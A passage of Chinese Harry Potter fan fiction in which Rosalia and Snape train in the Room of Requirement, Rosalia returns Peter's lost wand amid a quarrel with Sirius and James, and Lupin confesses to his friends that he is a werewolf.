她说道:“小时候我……叔叔跟我提到过这个房间。它只有在感知到迫切需要后才会出现——直到刚刚我才想起这回事。想要让它现形,就得在刚刚那幅挂毯对面的墙前面集中精神来回走三次才行。”
她刚刚恰好就是这么做的。
“……想要什么东西都行?”斯内普问:“这个小房间都会主动提供?”
罗萨利亚打量四周,轻快地说:“没错,你要试试吗?专注地想你需要的东西。”
她话音刚落,这间小屋的墙壁上就迫不及待地出现了一排被塞得满满当当的书架。紧接着,一方桌椅也从地面上升起来。
斯内普倾斜魔杖,照亮书脊。罗萨利亚看清了哪些书的名字——它们全部与黑魔法及黑魔法防御有关。她侧过脑袋去看身边的斯内普——他的眼睛在发亮!但他很克制地没有立刻伸出手去触摸它们。
他问:“如果我碰这些书,会被发现吗?”
罗萨利亚直接从中抽取了一本,坐到书桌上把它翻开:“应该不——”
“吼——”“嘭!”
斯内普用魔杖猛地抽了书页一下。又快又狠。那朝罗萨利亚嘶吼的鬼脸被扇得扁平了。
罗萨利亚:“……会。这书真没有边界感。”
在书架上落脚的穆宁被吓得连叫喊都慢了半拍。
斯内普问:“……你不害怕?”
罗萨利亚道:“这也还好吧。”
斯内普缓缓将魔杖抽挪出书缝。
尖锐吼叫声的平息,令楼梯间般的小屋更加寂静了。连杖尖与书页摩擦的声音显得清晰而漫长。
斯内普抬眼看她,忽然轻声说:“有时候,我觉得黑魔法就像博格特。”
罗萨利亚安静地回望斯内普,等待他的后话。
“黑暗之中的博格特,不呈现任何的形象。它的千变万化,来自于面对它的人。”
斯内普的声音回荡在狭小漆黑的屋子里,罗萨利亚听着,感觉自己回到了一年前赫奇帕奇的餐桌上。
他说:“它被看见的恐惧,不是它本质的真相,而是人心的投射。人越是凝视它,反而越会被它凝视。跟这样一股力量较劲只是徒劳,因为它本就是人难以分离的一部分。想要掌控它,最先需要掌控的是自己。”
斯内普的声音越来越低,说到最后,几乎像在自言自语。但罗萨利亚听清了,他道:“总有一天,我既能掌控自己,也能掌控它。”
她想了想,说道:“‘与怪物战斗的人,应当小心自己不要成为怪物。’”
斯内普:“……什么?”
罗萨利亚解释道:“这句话出自《善恶的彼岸》,是过去一个很有名的麻瓜写的——别那样看我,麻瓜的很多书都非常有意思,而且它们都很安静,不会尖叫,当然啦,也并非字字珠玑。如果你不喜欢,那我换个说法好了——西弗勒斯,对付博格特最好的方法是什么?”(1)
“……‘滑稽滑稽’。”斯内普的嘴唇动了动。
“没错。”罗萨利亚说道:“是滑稽滑稽,是大笑,当你觉得博格特可笑的时候,你就征服了它;当你拥有足够能让你笑出来的力量的时候,你就击败了它——只需要搞清楚什么才是让你真正快乐的东西就行了。”
斯内普的眼睛变得圆圆的,在荧光闪烁的照应下,他几乎是有些出神地在看她。于是,罗萨利亚笑眯眯地晃了晃脚,说:“怎么样?黑魔法的魅力在于黑魔法防御呀,西弗。”
小屋里再次变得静悄悄的。
良久过后,斯内普终于说道:“罗萨利亚,我偶尔觉得你比黑魔法还狡猾。”
“……这是在夸我还是讽刺我?”罗萨利亚问。
斯内普哼笑一声,转身把水晶瓶放到了凹槽中,用“诺克斯”熄灭了魔杖。罗萨利亚听到他的声音从黑暗中传来,说:
“要么摄神取念,要么自己猜吧。”
46. 挑明与不宣
周一上午的课被停掉了。学生在欢庆之余,也隐隐听到了昨天夜里的传闻。
“……没错,我相当确定,昨晚放礼花的时候,我还在地下教室筹划下周的忌辰晚会呢!一转头,忽然之间,天空就亮了。斯拉格霍恩教授穿着睡衣跑到走廊上,看起来心有余悸,问,这次又是斯莱特林弄出的事儿吗?”
差点没头的尼克把脑袋杵在格兰芬多的餐桌上,绘声绘色地说:“显然不是,孩子们。因为那些烟花是红色的。你知道红色意味着什么——可怜的麦格教授,脸马上变得跟我一样白了。”他颇有几分哀伤地说。
“所以昨晚夜游的,是我们学院的人吗!”戴维·格杰恩紧张地问。围着他坐了一圈的一年级小狮子们也直咽唾沫。
没人注意到,几个座位之隔的詹姆、小天狼星和彼得似乎打定主意靠眼神把盘子里的火腿肠叉起来。
“别着急,慢慢听我说……几个教授一起冲出了城堡——梅林的胡子!布瑞兹教授大喊说,有狼人!然后他们就开始挥舞魔杖。那狼人居然转头跑掉了。教授们继续驱逐它。斯普劳特教授跑着跑着,尖叫起来。她发现自己辛苦栽培的中国咬人甘蓝撒了一地,菜叶子到处都是……”
“布瑞兹教授冲在最前面,她一直追着狼人跑进了禁林。”尼克继续说,眉毛兴奋地扬起来:“她可真勇敢不是吗!当然,还没有到鲁莽的地步,布瑞兹教授很快回来了。虽然不知道狼人的去向,但她发现了其他东西——一件残破的,绣着拉文克劳院徽的巫师袍!”
“啊——”
“什么?你是说——”
“意思是——”
“拉文克劳?”戴维大喊一声。
“啪!”
在一簇哗然中,小天狼星的叉子戳到了盘子上,酸麻的触感一路顺着他的胳膊爬到脖子后面。
“这下轮到弗立维教授大惊失色了。”尼克从桌底飘了起来,道:“他立刻把这件事报告给了校长,又返回休息室让级长们确认学生的情况。然而,拉文克劳的学生一个也没少,也没有人受伤。”他越飘越远。
“然后呢?你要去哪儿?”戴维几乎要站起来了。
尼克在半空中优雅地转身,回应他道:“然后?然后就是你们知道的了。停课半天。上午魔法部的人来到禁林,在马人的帮助下找到并抓捕了那个狼人。他们指望从他嘴里知道些什么,但狼人一直喊冤。唉,教授们现在也没弄清,昨晚到底有谁在外面游荡,我想,就连邓布利多教授也无法确定。这件事怕是要不了了之了……”
差点没头的尼克就这样消失在墙壁中。
“……我们必须得在下午上课前拿回彼得的魔杖。没多少时间了。”詹姆低声对小天狼星说道。
“我知道。”小天狼星低着头说:“但我不想见他们俩中的任何一个!”
詹姆烦躁地说:“我也不想——”
他知道,昨晚小天狼星追过去之后,一定又发生了什么,但他这位变成落汤鸡的好哥们愣是一个字都不肯说啊!跟要了他的命一样!
詹姆先是扭头看了一眼赫奇帕奇餐桌——真恶心,伊万斯正坐在鼻涕精身边——然后又看向彼得,后者一副惶恐不安的样子,脸上写满了“拜托”。但他最终还是语气强硬地说:“你自己去行不行,彼得?那本来也是你的魔杖啊,是吧?”
彼得果然绝望地喊道:“和我一起吧——别让我一个人——”
“你怎么胆子这么小、脑袋这么笨啊?鼻涕精才是真的不敢不还给你呢!他要是真的不还——我就去告诉教授,谁怕谁呢。”
“可是——”彼得的话还没说出口,忽然,他看到一根魔杖出现在自己眼前——那正是他的魔杖。他想要伸手去抓,但却没抓着。魔杖被收回去了。与此同时,一道声音从他身后传来:
“哦,谁怕谁?”
这声音听得小天狼星脑中警钟大作。这一次,他不用回头都知道来人是谁。
罗萨利亚手里握着彼得的魔杖,好整以暇地望向三人:“你们好。”
“撒谎精,你来干什么?”詹姆第一时间喝道。
罗萨利亚挑眉,把玩着手中的木棍:“我捡到了一根魔杖,问了一圈也没人认领,这么说,它也不是你们的?”
彼得的目光跟着魔杖摇摆的弧度移动:“不、不……”
“原来真不是你们的?”罗萨利亚把魔杖收到怀里,作势要走:“那好吧,我再问问别人。”
彼得连忙说:“是我的!是我丢的!”
罗萨利亚看了一眼愤愤不平的詹姆,又瞧了瞧默不作声的小天狼星,却没有把魔杖再度拿出来,她继续道:“那你怎么证明这是你的?”
詹姆更不高兴了:“喂——你信不信我告诉——”“你可以小声一点吗?”
罗萨利亚眯起眼面对詹姆,轻声说:“这事跟你有关系吗?这是你的魔杖吗?你没发现我正在和佩迪鲁先生说话吗?你能明白现在的主角不是你吗?”
眼看詹姆就要破口大骂,罗萨利亚却用魔杖贴到唇边“嘘”了一声,道:“好好听你朋友说话,詹姆斯·波特,哪怕这辈子就一次。”
不等他反应,她又重新看向彼得,迅速地问:“佩迪鲁先生,你说这魔杖是你的,那就好好回忆一下:自己是什么时候、在哪儿弄丢的。如果能对的上,那我现在就把魔杖给你。”
彼得那双被一连串问题震住的眼珠子,终于轱辘轱辘地转起来。他试探着说:“我是、我是在昨天晚——昨天下午,来礼堂吃晚饭的路上丢的……可能是丢在走廊上了……”
“哦……那昨天晚上,你就没试着找找它吗?就你一个人在找吗?”
“找了,没找到。詹姆斯和西里斯……也在帮我找。但是宵禁很快就到了,我们只能先回去睡觉。”彼得小心地打量着罗萨利亚。
“这就说得通了。”罗萨利亚微微一笑,随后掀起眼皮轻瞥詹姆一眼,慢慢道:“我和西弗勒斯昨天下午发现这根魔杖后,也一直在寻找失主,也许是因为正好错过,也许是因为时间有限……不过,现在它能物归原主了。”
她终于让魔杖重新出现在彼得眼前,温声说:“你下次要小心点,可别再到处乱跑,把魔杖弄丢了。”
“谢谢,我知道了!”彼得感激地接过自己的魔杖,但他脸上的笑容在转身看清詹姆的表情后一瞬间僵住了。
罗萨利亚的目光在三人的脸上巡回一圈,轻轻说:“那么……事情解决了,我走了。”“拉文谢德。”
小天狼星突然道。
罗萨利亚转过半边身子:“你有什么事?”
小天狼星终于抬起头看她了。他硬着头皮说:“昨晚,我不是想攻击你。”接着一顿,又咬牙切齿起来:“是鼻涕精!当时他在你身后——”“布莱克。”
罗萨利亚直接打断了他,平静地说道:“你说的话我有点听不懂了,我和西、弗、勒、斯昨晚没见过你们吧?”
小天狼星气得从座位上站起来了,他动作很大,一时间,周围的人都看了过来。他说:“撒谎精!你这个撒谎精!”
“没错,我是。”罗萨利亚面无表情地注视着他说:“这个绰号比拉文谢德顺耳得多。”
小天狼星笑着点点头,将眉毛挑了起来:“太棒了,看得出来,你爱惨这个名字了。我正打算以后都这么叫你呢。”
“喜不喜欢谈不上,重点是——能被你这么称呼是我的荣幸啊,”罗萨利亚欠身行礼,“布莱克家的大少爷。”
“你!我可比不上你——拉文谢德的——”“你们又在吵什么呢?”
詹姆正看得起劲,一回头,莉莉竟不知什么时候出现了。他立刻将翘起的二郎腿收了回去,手放到头发上抓了一把。
莉莉把罗萨利亚往身后拉去,望向小天狼星、詹姆和彼得,冷冰冰地说:“我真不理解你们,三句话之内一定会吵起来——罗萨只是捡到了一根魔杖,听我说像是彼得的才决定过来问问。就这么一件事。这到底有什么不能好好说的?难道大家彼此成为敌人,就都满意了吗?这有什么好处呢?”
詹姆的脸色登时变了,他咬牙切
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齿地说:“你怎么相信了撒谎精的话——”
“你这是什么意思?我为什么不能相信罗萨利亚的话?”莉莉压低了眉头:“波特,难道我没相信过你的话吗?我想我一直以来,都在尽可能平等地对待你们两方吧?如果你觉得我是因为之前那件事才不去魁地奇球场玩的,那你就错了——我有自己的生活,波特,我下了课也是要学习和写作业的,魁地奇只是我的喜好之一罢了。”
说完,她吸了一口气,转头面向罗萨利亚,语气柔和下来:“罗萨,对不起,但你也一样。你能别跟他们较劲了吗?”
“好,我听你的,莉莉。”罗萨利亚乖巧地说。
莉莉肉眼可见地高兴起来了:“走吧!我们回去吧,西弗勒斯还在等我们。”
两个女孩手牵手离开了格兰芬多餐桌,徒留詹姆、小天狼星和彼得在原地神情各异。
又过了一天,狼人在霍格沃茨城堡外场地上游荡、又被魔法部抓捕的事情,就登上了《预言家日报》的头版。
阿黑把报纸送来时,已经是晚餐时间了。雷古勒斯抿着嘴,看报的同时,眼睛时不时在斯内普和罗萨利亚身上飘过——他全都知道了。前者亲自归还了自己那把惨遭劫持的飞天扫帚,后者悄悄拉着他讲了一遍大致的前因后果。他注视着淡定自如、仿佛事不关己的二人,面上逐渐流露出复杂的表情。
最后,雷古勒斯欲言又止地说:“你们……要看看吗?”
那两人齐齐说道:“不了。”
莉莉歪头说:“我能看看吗?我太好奇了。”
雷古勒斯自然地把报纸递过去,莉莉便恋恋不舍地将怀中的阿黑送还,说:“阿黑的毛摸起来手感真好啊。”
“这需要补充各类营养才能维持。”雷古勒斯如数家珍般道:“还要定期梳毛,尤其现在还是她的换毛季。”
莉莉若有所思:“听上去需要花费不少精力……等长大了,我也想养一只小猫。”
“为什么现在不养呢?”
“嗯……爸爸妈妈可能不会同意,我姐姐佩妮应该不会喜欢猫毛……”
旁听着二人的聊天,罗萨利亚不动声色地笑了。
阿黑与曼德拉草叶片的事一经挑明,莉莉和雷古勒斯马上就因为这件乌龙而双双红了脸。不必去猜他们后来是怎么想的了,现在,二人反倒因为阿黑而迅速地拉近了关系。甚至,雷古勒斯那些憋在心里难以分享给罗萨利亚和斯内普的养猫心得,都在莉莉这里有了着落。
他和斯内普开始一起到赫奇帕奇餐桌上吃饭了——就是赫奇帕奇的新男级长又因此爆发了:
“我知道、我知道!但是你看他们——”
男级长挥舞着拳头尖叫道:“他们现在变成四个了!不久前还是两个,现在变成了四个,再这么纵容下去,下周就会有八个人坐在我们桌子上吃饭了!”
听了这话,雷古勒斯作为几人中脸皮最薄的一个,立刻红了耳朵起身想走——还是罗萨利亚把他摁回座位上——四人坐成一排,全部装聋作哑,拒绝回应男级长杀气腾腾的目光。
“喂!”被无视的男级长更生气了,他用怪异地腔调嚷嚷道:“说的就是你们呢!你们几个——吵完架又和好了是吧?怎么样?还有其他人跟你们有仇没解吗?”
“又不是坐不下,你急什么呀。”他身旁的女级长马琳翻了个白眼:“他们不可能变成八个的,他们从哪儿能再拖来四个人?你以为这是在给猫狸子接生吗?走吧本吉——跟我到前面坐去——”说着,她端起二人的盘子就离开座位了。
“哎——我的盘子——马琳你回来——”
总之,之后莉莉、罗萨利亚、斯内普和雷古勒斯四人再没受到干扰。不过雷古勒斯还是很不好意思地选择只“偶尔”与他们相聚。
此时此刻,莉莉正聚精会神地看报,格兰芬多餐桌传来一声不高不低的呼唤:“莱姆斯,你可算回来了!”
她偏过头去看,只见头缠绷带的卢平刚一只脚踏进礼堂,就被詹姆、小天狼星和缀在后面的彼得簇拥着拖出去了。
47. 狼人朋友
“莱姆斯,我要和你聊一件很严肃的事。”角落里,詹姆按住卢平的肩膀,面色凝重:“不过我更希望你自己说——你别再瞒我们了,我们都已经猜到了。”
“……什么?”卢平仿佛被当头敲了一棒,完全懵了。他尽可能保持语调平稳:“詹姆斯,你在说什么,我听不懂……”
詹姆恨铁不成钢地说:“你还在嘴硬什么啊?你就这么不信任我们吗?”
“我没有!”卢平的嘴唇一下子白了。
他的目光扫过倚靠在墙上的小天狼星,他的表情简直是吓人的。就连缩在一旁的彼得,看上去都有些畏惧。卢平底气不足地说:“我没有不信任你们……我……”
他还记得回来前,庞弗雷夫人跟他说过的话——周日,也就是前天晚上,有一只狼人从禁林跑出来了。难道、难道是这件事让他们联想到自己了吗?
卢平心中充满了恐惧。而詹姆接下来的话更是让他感到绝望:“那你为什么不告诉我们你每个月的满月都去哪儿了?你每次回来都带着一身伤,真觉得我和西里斯会注意不到这点吗?”
他们真的知道了……
卢平颤抖起来:“我是害怕……”
小天狼星把脑袋抬起来了,语气有些嫌恶:“所以是真的?你真的每个月的满月都——”
“别说出来!”卢平叫道:“求你了……别在这儿说,这边随时会有人来。”
“你怕什么?你有我们呢!再不济还有我爸爸呢!”詹姆正义凛然地道:“那个拉文谢德不过是个没落家族,鼻涕精就更不用说了。他们两个还能手眼通天了不成?你只要把这事说出来,我一定能让你得到一个交代,你也不用担心自己有把柄在他们手上!”
“……什么?”卢平问。
詹姆急了:“这时候你就别装傻了吧?我们都知道了——撒谎精和鼻涕精是不是专挑满月夜拿你测试黑魔法呢?辛尼斯塔说过,满月日正是魔法波动最厉害的日子!”
“不是、詹姆斯、等等……”卢平道:“你说到哪儿去了?罗萨利亚和西弗勒斯又是怎么搅和进来的?他们没拿我做什么实验啊?你怎么还没放弃这个想法,暑假前,莉莉不是也据理力争过了吗?”
“你别提伊万斯!”詹姆叫嚷道。
卢平忙不迭改口:“小声点!我知道了……我是说,罗萨利亚和西弗勒斯要是拿我做黑魔法实验,那就应该和我同时消失、同时出现才对呀。但我每次去……的时候,他们不是都在学校里吗?”
“那晚上呢?晚上!半夜!或者把你关在什么阴暗的屋子里?这些都有可能!我都发现他们有隐形斗篷了——”
“罗萨利亚和西弗勒斯有隐形斗篷?你们怎么知道的?”卢平有些迟疑。
小天狼星说:“你先别管这个,莱姆斯,你说和他们无关,那你怎么解释周日白天撒谎精和你吵架的事?詹姆说她还要追上来打你。你后来一瘸一拐地跑走了。”
“周日?吵架?打我?”卢平一时间没反应过来,有些语无伦次:“前天我什么时候——什么?我们那不是吵架,罗萨利亚也没有要打我!你们到底在说什么?”
詹姆道:“我都用望远镜看见了!打人柳那边!”
“没错,那天我确实去找罗萨利亚了。”卢平手脚并用地解释:“但我是去拜托她——一件事。而且,当时邓布利多教授正从那儿路过呢,罗萨利亚怎么可能追着打我……我和她聊完后,因为赶时间回城堡,不小心踢到了一大块碎石。她看到就立刻用漂浮咒揪住了我的衣服,我这才没有摔倒。那时她急着追来,只是想看我有没有受伤!”
“……啊?”这下轮到詹姆呆住了。这些事显然超出了他望远镜能观测到的范围。
小天狼星一顿,又问:“那你倒是说,自己拜托她了什么事?有什么事你不能拜托我们做?”
詹姆回过神来:“没错!”
卢平深吸一口气,道:“月相图。西里斯。前天我问过你们了啊。因为一些原因,我没法画那天的月相图,所以去求助了罗萨利亚。不信你们可以去问潘多拉,她不是天文学课的助手吗,她肯定知道周一是谁给我交的作业——就是罗萨利亚。”(1)
这话一下子令詹姆、小天狼星和彼得面面相觑起来。周一,因为狼人和魔杖,他们一个都没想起来要帮卢平交天文学作业这档事。
卢平似乎又想到什么,面上流露出些许愧疚,继续说:“如果罗萨利亚是因为没来得及画完月相图选择夜游,那我觉得这应该是我的问题,而不是她的。”
“那倒不是。”詹姆哼哼地说:“撒谎精夜游,是跑到禁林里去了。前天晚上我们追过去看过,本想逼问鼻涕精他们把你藏到哪儿了,谁知道……”
卢平僵住了,他的表情十分惊恐,说出的话却气若游丝:“你们还——原来是你们——你们还撞上了狼人?就因为你们想去问他们——有关我的事?”
“对啊,不过我觉得狼人也就那样吧,没那么可怕。”詹姆语调飞扬:“我和西里斯骑着扫帚就跑开了,没人发现!连鼻涕精和撒谎精都没什么事——当然啦,过程比较刺激,晚点再跟你说吧。但我还是没懂,你到底是因为什么原因才没办法画月相图?”
卢平一时间沉默了。他静静地看着詹姆、小天狼星和彼得,良久之后,才终于开口:“我真的很抱歉。”
詹姆马上说:“可是你不说我们就只能一直猜啊……我是说,我们只是、只是关心你,我们做这些都是出于好心的。之前那是想岔了,你知道吧……”
“不。我知道你们是为了我。”卢平望着他们说:“而且我确实——我确实有事情瞒着你们……是我不够信任你们……但是……”
“没事哥们儿,这也不是什么大问题。”
“不,这就是一个大问题……詹姆斯、西里斯,还有彼得,你们那么关心我,甚至为了我涉险,我却——我却一直在欺骗你们。”他的声音越来越低,完全不敢抬头对上面前三人的眼睛:“其实你们有权知道的……你们应该知道……”
“你们的朋友——其实是一个——”
“……狼人。”卢平道。
“所以我没法画满月的月相图……每个月,庞弗雷夫人都要带我避开人群,否则——看我身上的伤——我会控制不住地去伤害人……我一开始以为你们猜到了——猜到我是一个多么危险的……不管怎样,现在,你们能真正做出选择了,其实我根本、根本不值得你们对我这么——”“……我的老天。”
詹姆目瞪口呆:“
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哥们儿,这太酷了——真的假的?你是说你每个满月都能变成我们前天晚上见到的那个生物?那玩意连教授都不一定能打得过呢!你居然能这么厉害?”
卢平:“……不、不是——”
“不是什么呀!”詹姆勾住他的肩膀说:“你不会以为,我们会因为这事儿不跟你玩了吧?西里斯——你难道会害怕吗?”
小天狼星嗤笑一声:“怕?你在开玩笑吗,詹姆?我怕过什么?”
“彼得你呢?”詹姆看向彼得,他眼镜后面的眼睛危险地眯起来了:“你难道害怕吗?”
彼得说:“不、不……”
“你看。”詹姆说:“你说和不说都没区别,莱姆斯,难道我们是那种会抛弃朋友的人吗——梅林的胡子,你可别告诉我你要哭了!莱姆斯,你别吓我!你现在比那个狼人可怕多了——西里斯,你快说点什么,讲个笑话也行——”
于是小天狼星脱口而出:“这件事你没告诉那个撒谎精吧——我是说——她肯定没有我们靠得住。”
“……这件事只有允许我入学的邓布利多教授和负责医治我的庞弗雷夫人知道。”卢平抽搭鼻子,喑哑地说:“除了你们,我没告诉过任何人,包括罗萨利亚……我不可能告诉她,她好像害怕爪子尖的动物……”
“啊?你这又从哪看出来的?”詹姆不解道:“而且莱姆斯你得知道,多数人害怕狼人不是因为害怕狼爪子啊——也没见撒谎精看到麦格就跳起来呀?”
“……因为麦格教授是人啊。”卢平说。
“你也是人啊!”詹姆道:“反正,她要是敢因为这个孤立你——当然她也没那个机会——我绝对不会放过她的!”
“好了,别又伤感了,莱姆斯。让我们聊点好玩的吧。”小天狼星冷不丁地说:“比如,帮我想想,我该在撒谎精书包里放猫还是白鼬?”
“我给白鼬投一票。”詹姆道:“她估计不怕猫。”
“不——等等。”卢平抬手抹去眼泪,连忙说:“罗萨利亚没欺负过我,真的!”
小天狼星冷冷地说:“我知道,但我和她有私人恩怨,莱姆斯。和你没关系。”
“你不能这么干,我知道我说那话的意思不是想——”卢平戛然而止,他在小天狼星和詹姆的注目下,不自觉地将声音放低了:“我是说,我一直觉得罗萨利亚人挺好的。你们没必要因为她和西弗勒斯关系好就……她那是为了——我是说,她其实和我一样痛苦……”
“一样痛苦?莱姆斯,现在这种话你都说的出来了?”小天狼星讥诮地说:“她能有什么痛苦?”
“罗萨利亚有遗传病啊,西里斯,她一直都在喝药,”卢平说,“我以前也喝过很多药,我知道那种日复一日的感觉。但我至少不会有什么生命危险……她可能会。所以,就算她做错了什么,你也别这样针对她……”
“什么叫我针对——算了。”小天狼星绷紧下颌,硬邦邦地说:“她有遗传病,要怪就怪拉文谢德家族,关我什么事……”说着,他不自在地站直了身体,又道:“我要回休息室了——撒谎精的事你就别管了,莱姆斯。”
“西里,你不回去吃饭了?”詹姆问。
“饱了。”小天狼星摆摆手,头也不回地往楼上去了。
48. 双胞(上)
十一月,霍琦教授一声哨响,魁地奇比赛拉开了序幕。狼人事件被球棒一击打到九霄云外。除了《预言家日报》,几乎没有人在谈论它了。
现在,全校的热度正集中在格兰芬多和赫奇帕奇身上——确切地说,是集中在詹姆斯·波特和卢多·巴格曼身上。
詹姆包揽了学院魁地奇赛队的大部分鬼飞球进球得分,令格兰芬多在没有抓到金色飞贼的情况下,仍以更高分数接连赢下了多场比赛——麦格教授看他的眼神都变了。
而巴格曼则以非凡击球技巧而引人注目,尤其在最后与格兰芬多的对决中,他成功保护己方追球手不被游走球击中,并顺势干扰了格兰芬多找球手,促使赫奇帕奇取得了关键决胜。
而在这两人大放异彩的时候,罗萨利亚正在接受着布瑞兹的折磨。
尽管没有任何证据,但布瑞兹似乎认定那晚在禁林发现的拉文克劳巫师袍是属于她的。她在黑魔法防御课上三番五次地拿这件事对拉文克劳指指点点,暗示这一切都要怪某个“狂妄自大”的学生,甚至,一度直接把矛头对准了罗萨利亚。
被告当事人对此十分高兴:“没想到我在教授您眼里其实是个能从狼人手下逃脱的优秀学生。”
原告布瑞兹对此十分不高兴:“拉文克劳扣五分!”
但罗萨利亚私以为,自己目前的黑魔法防御水平确实开始突飞猛进了——这一切都要归功于有求必应屋。
拿有求必应屋作为新的秘密训练地点一事,是斯内普先提出的。罗萨利亚感觉得到,他非常、非常喜欢这个有求必应的房间,除了研读与黑魔法有关的书籍,斯内普还会在这试验魔药,如果不是怕被“失踪”太久引起怀疑,他恐怕会直接住这儿。
从十一月到十二月,她和斯内普都在此进行黑魔法防御训练,还不用像之前那样常备伤药:那些比较危险的招式,他们可以用在傀儡人偶身上。
除此之外,有求必应屋也无疑是L&O练习的最佳地点。在二人彼此确认了新增的“禁止摄神取念”内容后,那种互相提防对方头脑的感觉就彻底回来了。
不过,至少这一次,罗萨利亚和斯内普不用提防其他人的“头脑”了——他们再也不需要去打人柳附近假装散步了。
很快,留校名单登记开始了。
圣诞假期快到了。
自秋冬交际开始,霍格沃茨就开始多晴少雨。一直到十二月中旬,阴呼呼的天也始终没能落下一场雪,学校的节日氛围都淡了许多。
不过,装潢还是要继续布置的。巨大而健硕的冷杉被海格拖进礼堂时,正巧被刚下课的罗萨利亚、斯内普和莉莉三人撞上了。礼堂门口还有其他一些学生,他们都在等海格和冷杉先通过大门。
“嗨,海格,中午好。”罗萨利亚轻快地打了声招呼。
海格的脑袋从枝桠里探出来了:“嗨,罗塞拉!你好啊!好久不见!”
“‘罗塞拉’?”斯内普问。
“大概算是海格给我起的昵称。这还是开学被关禁闭那时候的事。”罗萨利亚解释完,又掏出魔杖对海格说道:“海格,你需要帮忙吗?”
莉莉也热心地说:“我想我们几个可以一起用漂浮咒来帮你省点力气,海格先生。”
“叫我海格就行,你们都是好孩子,但是不用!”海格呼哧呼哧地说:“我这就完成了,这是最后一棵。麦格教授和弗立维教授还在里面等我。”
针叶随着他的动作洒落一地。门口聚集的学生也越来越多了,他们叽叽喳喳说个不停,把海格的喘气声都盖住了。
“嗨,海格,你今年怎么这个时间搬运冷杉?”
一个声音突然从罗萨利亚背后高高地冒出来。
她一扭头:小天狼星不知道什么时候来了。他背着斜挎包站在一边,脖子上围着猩红色的围巾,一旁,卢平和彼得充当担架般扛着詹姆——詹姆在假装自己能凭空漫步。三个人如人墙一般把其他人隔开了。
罗萨利亚瞧了瞧卢平,但他似乎没有发现她的视线,一直垂着眼睛,就仿佛詹姆乱晃的脚对他有巨大吸引力似的。
“西里斯——好久不见!”海格匆匆地回头打了声招呼,说:“后天就要……呃……许多事情凑在一起了,所以我得提前干完这些工作。”他嘟囔道:“还好教授们都愿意配合我……”
……小天狼星和海格又是什么时候认识的?罗萨利亚心道。斯内普正扯住她袖子把她往莉莉身边拉,她一点也不反抗。
“你给尖尖找到托管人了?”小天狼星问。
“哦,我最终还是决定交给家养小精灵了。”海格道:“虽然我还是放心不下它,但是布瑞兹坚决拒绝我带着尖尖——”
“布瑞兹教授?”小天狼星问:“原来你是要跟她一起,你们要去干什么?”
“不,我是说,”海格一连“呃”了好几声,“我是——”
“想把尖尖交给布瑞兹教授照顾?但是被拒绝了?”
小天狼星瞥了一眼罗萨利亚。
海格赶忙说:“对!罗塞拉说的对,是这样……你知道,她怕狗会咬她——我不能和你们聊了,我得工作——”
说着,海格猛地往前走了好几步,把冷杉完全拖过大门,学生终于如撒掉的糖浆般流进礼堂。
“那好吧,你不在的时候,我会帮你遛狗的,海格。”小天狼星慢悠悠地说了一声,抬脚跳过枝桠,往格兰芬多餐桌走去,詹姆和他的“担架”摇摇欲坠地跟在后面。
罗萨利亚凑到海格身前,问:“海格,你——”
“我不能和你们说有关出差的事啦!”海格赶紧道。说完,他又懊恼似的把嘴闭上了。
“不是,我是想问你什么时候认识的西里斯·布莱克?”罗萨利亚道。
海格“哦”了声,松了口气似的回应道:“去年差不多这时候吧,稍早一点(罗萨利亚和斯内普对视一眼),西里斯因为飞行课被关过禁闭——奇怪,总感觉有点熟悉……”
“没错,海格,是有这么回事。”莉莉说完,又接着转向罗萨利亚和斯内普,挑着眉头无奈解释道:“记得吗?飞行课我们不在一块儿上。你们都不知道,他和波特老惹出事来——还好这门课就开一年。”
原来如此。不过罗萨利亚倒是想到了另一件事。她提醒海格道:“雷古拉也因为飞行课被关过禁闭,你还记得吗?开学那会儿。他是西里斯·布莱克的弟弟,你知道吗?”
“雷古拉……我就说——我想起来了——是吗!亲弟弟?他都没提过,我没往那儿想。”海格惊讶道:“现在想想他俩长得确实有点像……但西里斯就很喜欢尖尖,还有那些毛乎乎的动物——哦,他的禁闭任务就是清洁那些神奇动物。”
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尖尖?罗萨利亚还记得,当时雷古勒斯去海格小屋关禁闭时,尖尖异常热情地冲出去扑住了他。难道,它当时是把雷古勒斯错认成了小天狼星?
还有,如果是去年比现在稍早一些的时候……海格小屋离打人柳也不远……难道就是小天狼星这家伙最先发现了自己和斯内普的踪迹,又把这事告诉詹姆和莉莉的?
罗萨利亚在心底冷哼一声。
“海格,那我们先去吃饭了,回见。”
“回见!”
“你们今年也要留校吗?”坐到赫奇帕奇餐桌末尾,莉莉放下书包问道。
“嗯,是的。”罗萨利亚也把包放下:“我们觉得在学校过也没什么不好。”
斯内普没有补充,好像自然而然地默认了这个说法。
见状,莉莉眯起眼“嗯”了很久,似乎在思考什么,随后突然开口:“你们俩现在,简直跟双胞胎一样——”
“我们不是。”
罗萨利亚还没来得及说话,斯内普已经飞快地把嘴抿起来了。
“我知道,我还没说完呢。”莉莉掰着指头道:“你们俩也不知道是谁模仿谁,很多生活习惯都开始变得一样,现在连对方脑子里想什么都知道。”
“习惯?”罗萨利亚问。
“是呀。比如,我想想,比如走路姿势,这个我觉得西弗勒斯是跟你学的,他以前走得乱七八糟的。但是罗萨你处理魔药的手法,很明显和西弗勒斯是一样的。”
“啊……”罗萨利亚张了张口。
手法一样,是因为她的魔药就是斯内普手拿把掐地教的啊……至于走路——罗萨利亚侧目去看斯内普,但后者马上避开她的视线,把脸藏进了垂下的头发里,仿佛在专注吃饭。
……斯内普竟然会模仿她的习惯吗?罗萨利亚心不在焉地用叉子戳盘子里的烤肉。
“反正,我想说——你们再考虑一下吧,我觉得斯内普阿姨肯定会想你们。”莉莉拖着长音劝说道:“下周才放假,趁现在还能更改,你们确定不和我一起回去吗?”
她指指礼堂最前面。角落里,麦格教授正忙着处理海格搬来的圣诞树,而弗立维教授则站在中央,指挥似的用扫帚将地上的松针扫到一边。
“今年就算了。”斯内普道。
罗萨利亚望着他。莉莉则乘胜追击般问:“那明年?”
“也许明年。”斯内普很快地看了罗萨利亚一眼。
莉莉眉眼弯弯地笑了:“这可是你说的!我记住了。明年你和罗萨得陪我回去过圣诞!”
罗萨利亚扬起嘴角:“那你们俩可要带我到处转转。”
“好啊!”莉莉把脚翘了起来:“也许我们可以去伦敦玩!”
“咕咕——”
话说着,有几只猫头鹰来信了。罗萨利亚抬头一看,竟然发现了穆宁的身影,它嘴里也衔着一封信。
信的署名是……安多米达·唐克斯。
对了。罗萨利亚想起来了。之前安多米达确实说过之后还会给她来信。也许这信上会提到对方现在的住址。
“谁给你写信啦?”莉莉问。
